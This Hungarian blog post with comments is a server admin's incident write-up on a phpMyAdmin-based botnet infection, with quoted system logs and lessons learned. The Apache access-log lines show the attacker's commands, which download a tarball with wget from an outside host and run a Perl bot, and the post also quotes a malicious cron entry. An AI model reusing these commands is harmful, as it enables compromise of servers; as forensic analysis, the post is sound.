Egy hack margójára

Kb. egy hete "feltörték" az egyik általam karbantartott gépet és botnet-zombivá tették. Ennek az esetnek a margójára írnék néhány sort...

Gyakorlatilag néhány perc alatt észrevettük a hackot, mert a botnet-cucc megzabálta az összes CPU-t a gépben. Root jogot nem sikerült szerezniük, mert szerencsére a nemrégiben felbukkant local root exploit ellen már befoltoztuk a gépet. De nem is ez az igazán érdekes, hanem a hack anatómiája. Legalábbis számomra. Ugyanis ez volt az első alkalom, hogy "áldozat" lettem, vagyis valamilyen formában bejöttek egy Linuxos szerveremre. Olyan eset már volt, hogy egy feltört gépet kellett újraraknom, és mentenem róla ami menthető, de azt az ember nem érzi magáénak, csak egy feladatnak, amit meg kell oldani, csak egy újabb szétbarmolt gép a javítandók hosszú sorában.

A lényegre térve, mivel a botnet www-data userrel futott, ezért azonnal lelőttem az Apache-t, meg úgy kb. mindent a gépen, ami érintve lehet, beleértve a botnet Perl scriptjeit, és kicsivel később még a cron-t is. Ugyanis a hack első tényleges nyomát az auth.log-ban találtam meg:

Sep 26 15:43:01 someserver CRON[26011]: (pam_unix) session opened for user someuser by (uid=0)
Sep 26 15:43:01 someserver CRON[26011]: (pam_unix) session closed for user someuser
Sep 26 15:44:02 someserver passwd[26303]: passwd: can't view or modify password information for root
Sep 26 15:44:13 someserver passwd[26319]: (pam_unix) authentication failure; logname= uid=33 euid=0 tty= ruser= rhost=  user=www-data
Sep 26 15:44:27 someserver passwd[26383]: (pam_unix) authentication failure; logname= uid=33 euid=0 tty= ruser= rhost=  user=www-data
Sep 26 15:45:01 someserver CRON[26518]: (pam_unix) session opened for user someuser by (uid=0)
Sep 26 15:45:03 someserver CRON[26518]: (pam_unix) session closed for user someuser
Sep 26 15:48:02 someserver CRON[26980]: (pam_unix) session opened for user someuser by (uid=0)
Sep 26 15:48:03 someserver CRON[26981]: (pam_unix) session opened for user www-data by (uid=0)
Sep 26 15:48:04 someserver CRON[26981]: (pam_unix) session closed for user www-data

Valaki megpróbált root passwordot állítani (a gépen nincs aktív root user mellesleg), aztán két bejelentkezési hiba www-data userből... Majd pedig www-data userként egy cronjob kezd futni, ami eléggé nemkéne. Persze azonnal lelőttem a cront is, de ezen kívül nem sok információ található itt. A leglényegesebb viszont itt van: a hack precíz időpontja. Ezzel már nekiállhattam túrni a szó szerint sokszáz megányi Apacs logot.

Ennek megfelelően az Apache error.logjában jött szembe a következő:

[Sat Sep 26 15:41:04 2009] [error] [client 218.191.xx.xx] File does not exist: /var/www/html/favicon.ico
[Sat Sep 26 15:41:21 2009] [error] [client 78.34.xx.xx] File does not exist: /var/www/html/favicon.ico
--15:41:22--  http://208.75.xx.xx/q1w2/dc.tar
           => `dc.tar'
Connecting to 208.75.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10,240 (10K) [application/x-tar]

    0K ..........                                            100%   16.09 KB/s

15:41:23 (16.09 KB/s) - `dc.tar' saved [10240/10240]

chmod: invalid mode: `x'
Try `chmod --help' for more information.

Eeeee... hát ez nem úgy néz ki, mint aminek feltétlenül egy Apache logjában a helye... Keressük csak meg a hozzá való access.log bejegyzést.

79.118.xx.xx - - [26/Sep/2009:15:40:44 +0200] "GET //phpmyadmin/config/config.inc.php?c=uptime HTTP/1.1" 200 82 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6)"
79.118.xx.xx - - [26/Sep/2009:15:41:22 +0200] "GET //phpmyadmin/config/config.inc.php?c=cd%20/tmp;%20wget%20208.75.xx.xx/q1w2/dc.tar;%20tar% 20xvf%20dc.tar;rm%20-rf%20dc.tar%20;chmod%20+x%20dc.pl%20;per$
79.118.xx.xx - - [26/Sep/2009:15:47:26 +0200] "GET //phpmyadmin/config/config.inc.php?c=cd%20/tmp%20;perl%20dc.pl%2082.79.xx.xx%208080 HTTP/1.1" 200 195 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows$
79.118.xx.xx - - [26/Sep/2009:15:54:00 +0200] "GET //phpmyadmin/config/config.inc.php?c=uptime HTTP/1.1" 200 82 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6)"
79.118.xx.xx - - [26/Sep/2009:15:54:05 +0200] "GET //phpmyadmin/config/config.inc.php?c=ps%20x HTTP/1.1" 200 1522 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6)"

Hát, ez talán annyira nem vicces. phpMyAdmin, viszlát... Ez van, amikor N+1 user pakolász az accountjába mindenféléket. És most lássuk a futkorászó cronjobot:

 * * * * /usr/src/postgresql-8.x.x/.mozilla/y2kupdate >/dev/null 2>&1

Hoppá. :) Egy újabb könyvtár, sok érdekes új fájllal. Természetesen megszabadítottam szenvedéseitől ezt is. A gép most egyelőre nem mutat tüneteket, de figyelve van. És természetesen nem bízom többé benne, szóval reinstall című móka lesz hamarosan.

Ami számomra a legérdekesebb volt, hogy a hack egy lelkiismeretesen frissített, közepesen öreg - tehát elméletileg kiforrott, és még támogatott disztróval esett meg. Amin ráadásul elég sok egyedi beállítás is volt, de elég volt néhány "szabványos" elem, és a hack máris működött. Egy sérülékeny phpMyAdmin elég, hogy az egész gépet hazavágja. Elcsépelt, de tényleg minden védelem csak olyan erős, mint a leggyengébb láncszeme...

A történet pedig megerősített abban, amit eddig csak másodkézből szerzett tapasztalatokra építettem:

1., Alapszabály, hogy ahova nagyon be akarnak menni, oda előbb-utóbb bemennek. Minden törhető, kellő kitartással. Főleg, ha még kitartás sem kell hozzá.
2., Viszont az 1-es pontnak megfelelően az egyetlen security ami tényleg működik egy "hétköznapi" helyzetben, az a security through obscurity. A fenti esetben, és a mass-hack esetek többségében is használt, előre megírt scriptek elvéreznek, ha olyan környezet jön szembe, amiről nem tudnak semmit, és máshogy működik, mint amit feltételeznek.
3., A legdurvább Linux kernelvédelem sem ér szinte semmit napjaink webes környezeteiben, ahol a hackekhez szabvány perl, python és miegyéb scripteket használnak nem pedig binárisokat, plusz egy primitív php script hibáját. A hacker céljaihoz (botnet) pedig bőven elég egy tetszőleges user account. A weboldalak lecserélése már rég nem cél, a rejtőzködés, a háttérben működés annál inkább. A jelen eset is csak a CPU felhasználáson bukott meg, az lett gyanús. Ha az nincs, valószínűleg sosem, vagy sokkal később vesszük észre.
4., Mivel a fenti scriptnyelvek mindenütt azonosak, kb. "az ellen nem véd" címszóval egy hasonló FreeBSD telepítés is ugyanígy bevérzett volna. (Lásd ismét a security through obscurity részt fentebb.) Ez azért fontos, mert néhány lelkes agitátornak köszönhetően gondolkodtam a FreeBSD-re váltáson. Ettől ez még nincs kizárva persze, csak fontos tanulság az az ellen nem véd rovatban.
5., Hobbiadminkodni hálátlan feladat, mert hiába teszel meg mindent, ahogy időd engedi, mindíg lesz kreatív user, akire nem figyeltél.
6., A legnagyobb security hole mindig az user. Esetünkben amelyik a phpMyAdmint felrakta, de úgy általában is...

És ami a legfontosabb: legutóbb mikor azt találtam mondani, hogy a Linux userek sincsenek abszolút védve attól, hogy a gépeikből botnet-zombit csináljon mondjuk a weben (adott esetben böngészőn, nem csak Apache-on) át egy hacker, mert ahhoz elég egy mezei user account, akkor le lettem hurrogva. Puff neki, igazam volt. :) Sajnos.

És akkor most lehet röhögni, lehurrogni, fújolni, lámerezni, hozzánemértőzni, stb... Azért én remélem valakinek hasznosak és tanulságosak lesznek a leírtak.

Szerk: A phpMyAdmin törés pedig bővebben itt. A linket köszi Huncraftnak, a leírást kovzolnak. Anno átsiklottam felette, de hátha másnak is hasznos lesz.

Hozzászólások

•••••

És közös lónak túrós a csusza!

Ugyan 100%-ig nem fogtam fel, hogy mit es hogy kovettel vissza, viszont nagyon tetszik, hogy belelathatok egy kicsit egy 'nyomozas' hatterebe. Ha van meg ilyen torteneted / esetleirasod, azt szivesen olvasnam. :)
--
Azt akarom, hogy az emberek ne kenyszerbol tanuljanak, hanem azert, mert tudni akarnak.
Ui.: Kezdo Linux-os vagyok, emberi nyelven valaszoljatok! Koszi! :)

Grsec ? Suexec ? Fastcgi ? ilyen problema mar is nem fordul elo.
--
1 leszel vagy 0 élő vagy hulla!

"Nem hiszek a civilizacios csecsebecsekben..." :)

Komolyra forditva, ez egy - mint emlitettem - hobbigep, amit kb. 10 ember dobott ossze, mindenfele hardverekbol. Termeszetesen mindenki, aki valamit is adott bele, hasznalni akarja, lehetoleg minel elmebetegebb dolgokra. Es persze az adminjanak hiszi magat, mert hogy "az en gepem is". Tehat nyilvan meg azert is kozelharcot kellett vivnom, hogy valamifele iptables tuzfal-szeruseg legyen, es ne totalis atjarohaz, ki merre lat.

-=- Mire a programozó: "Na és szerintetek ki csinálta a káoszt?" -=-

Az informatikaba nem sok hit van :) Itt hasznalni kell oket.Sokan hiszik a Linux biztonsagosabb mint barmelyik mas operacios rendszer messze se az.
Az meg elege nagy melle fogasnak tunik ,hogy mindenki a www-data user-t hasznalja siman lehet session-t lopni de mi az mar ,hogy a user kilep a sajat directorybol?! itt elegge sok melle loves van.Ezt nem bantas keppen irom de mindig van mit tanulni.
--
1 leszel vagy 0 élő vagy hulla!

Mar megszoktam, hogy az egesz gep egy folyamatos es elesben zajlo Kobayashi Maru teszt, de annyira nem erdekel. :) Egyebkent mint irtam, hobbiadminolasrol van szo, mellesleg az utobbi ket es fel evben 3 uj oprendszert es 2 uj programozasi nyelvet tanultam meg, munka cimszoval. Valahogy mar nincs energiam a legfrissebb webes agyverzest is kovetni. Egyebkent szerintem egy default-kozeli rendszer toresebol tobbet lehet tanulni, mintha az ember felhuz egy eroditmenyt, bebetonozza magat, aztan varja, hogy mi tortenik... Hat ez van. Azert a gep utodjat, ami valoszinuleg hamarosan szolgalatba all, az alapoktol maskeppen fogom epiteni, jogosultsagok es hasonlok szempontjabol. Felteve ha nem passzolom le az egeszet valaki masnak, akinek meg van turelme ezzel szopni. :)

-=- Mire a programozó: "Na és szerintetek ki csinálta a káoszt?" -=-

"A legdurvább Linux kernelvédelem sem ér szinte semmit napjaink webes környezeteiben"

Es ha elfelejtetted volna fixelni a kernelt, es a local root exploitot a pax fogta volna meg, akkor most nagy es bolcs tanulsagkent mindennek pont az ellenkozejet olvashattuk volna?

--
Fontos feladatot soha ne bizz olyan gepre, amit egyedul is fel tudsz emelni!

Nekem az elmult nehany honapban nekem is volt hasonlo elmenyem. Log fileokat lementettem, meg minden cuccot amit felpakoltak a gepre, de nem volt meg idom hogy atnezzem. Ha sor kerul ra, akkor megosztom en is a tapasztalataimat.

-----
“Firefox, you say? No I don't play Pokémon”

Hehe kipróbáltam, mert magam is használom phpMyAdmin -t igaz jól eldugva.

79.118.xx.xx - - [26/Sep/2009:15:41:22 +0200] "GET //phpmyadmin/config/config.inc.php?c=uptime

Erre a szerver nem reagált, de akárt azt is mondthatta volna, amit a sztaki szórtár felolvasó robojat:
"Jajj-jajj! Hiba történt a lekérdezés közben. Elnézést kérjük!" :)

A másik: ha disabled function az exec és társai phpben már is be van foltozva ez a rés ha jól gondolom. Ugye?

Azért annyit hozzátennék, hogy alapból a phpmyadmin-nak a config.inc.php-ja nem sebezhető erre a fajta támadásra, hanem már a behatolás után módosítja meg a progi a phpmyadmin-nak ezt a file-ját, hogy a c?= paramétert képes legyen fogadni.

Hasonló volt 1ik kollégánál itt is pár hónapja: http://hup.hu/cikkek/20090629/phpmyadmin_adminisztratorok_vigyazat

És az a baj, hogy sok más gép is van amelyet pont így nyomnak meg, és észre se veszik az adminisztrátorok. Holott ez amit fent leírt Chain-Q azt kell mondjam, hogy egy teljesen szabványos támadás volt.

Akit esetleg még érdekel az exploit működése az itt nézzen körbe:
http://www.milw0rm.com/exploits/8921
____________________________________
Az embert 2 éven át arra tanítják hogyan álljon meg a 2 lábán, és hogyan beszéljen... Aztán azt mondják neki: -"Ülj le és kuss legyen!"..

"4., Mivel a fenti scriptnyelvek mindenütt azonosak, kb. "az ellen nem véd" címszóval egy hasonló FreeBSD telepítés is ugyanígy bevérzett volna. (Lásd ismét a security through obscurity részt fentebb.) Ez azért fontos, mert néhány lelkes agitátornak köszönhetően gondolkodtam a FreeBSD-re váltáson. Ettől ez még nincs kizárva persze, csak fontos tanulság az az ellen nem véd rovatban."

Használj OpenVMS-t, a script kiddiek (de még a komoly hozzáértők) nagy része azt sem fogja tudni hogy kell kilistázni egy könyvtárat. :)

suckIT szopás minden nap! HP backup system ROM

Én ezért adtam el anno a web-hosting szerveremet userekkel együtt. Nagyon sok időmet megette.
Azóta a saját szervereimen 1 db user van /bin/bash a többi /bin/false vagy virtual. Root nincs.
Az opensource cuccokra, mint pl a phpmyadmin rányomok egy .htaccess -t és csókolom. A többi saját kód, így a scriptkiddie-knek nem vagyok pálya.

Dettora ugyanilyen esetem volt az AVSTAT nevu borzalommal. Ott is azt hasznaltak ki, hogy megfeleloen parameterezve a php script, kepes volt parancsokat futtatni. Azota valahogy nem bizok a kulso kodokban...
--
"Maradt még 2 kB-om. Teszek bele egy TCP-IP stacket és egy bootlogót. "

Egyik levelező listán is hasonló a téma. Ott olvastam egy jópofa megoldást :):

"Mi ugy oldottuk meg a lenyomozast, hogy a wget-et amit hasznalt a letolteshez, atneveztuk wgetwget-re, es egy kis shellscriptet raktunk a helyere, ami logolta az osszes inditasi parameteret, az environmentet, meg amit lehetett, es kilepett. Ekkor lett meg a ludas."